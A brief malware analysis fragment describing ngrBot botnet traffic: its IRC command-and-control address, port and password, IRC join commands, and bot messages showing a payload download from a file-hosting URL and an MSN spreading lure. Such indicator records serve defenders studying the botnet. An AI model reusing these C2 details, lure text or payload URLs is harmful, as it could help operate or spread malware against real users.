77.235.47.132(ngrBot hosted in Netherlands Amsterdam Eurovps)

Remote Host Port Number
195.122.131.12 80
213.251.170.52 80
77.235.47.132 4042 PASS ngrBot

PRIVMSG #boss :[d=”http://rapidshare.com/files/4007909942/shedontlikemeshelikemycar.exe”] Error downloading file [e=”12039″]
NICK n{US|XPa}psbuhdn
USER psbuhdn 0 0 :psbuhdn
JOIN #boss ngrBot
PRIVMSG #boss :[MSN]: Updated MSN spread interval to “3”
PRIVMSG #boss :[MSN]: Updated MSN spread message to “haha! http://goo.gl/LVZjX?img=facebook_photoalbum_24_07_2011_jpeg”

The data identified by the following URLs was then requested from the remote web server:
http://rapidshare.com/files/3786834417/avxd.txt
http://rapidshare.com/files/4007909942/shedontlikemeshelikemycar.exe
http://api.wipmania.com/

hosting infos:
http://whois.domaintools.com/77.235.47.132